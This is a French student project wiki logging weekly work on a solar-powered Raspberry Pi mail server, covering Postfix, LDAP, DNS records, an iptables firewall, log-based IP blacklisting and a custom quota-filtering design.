L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
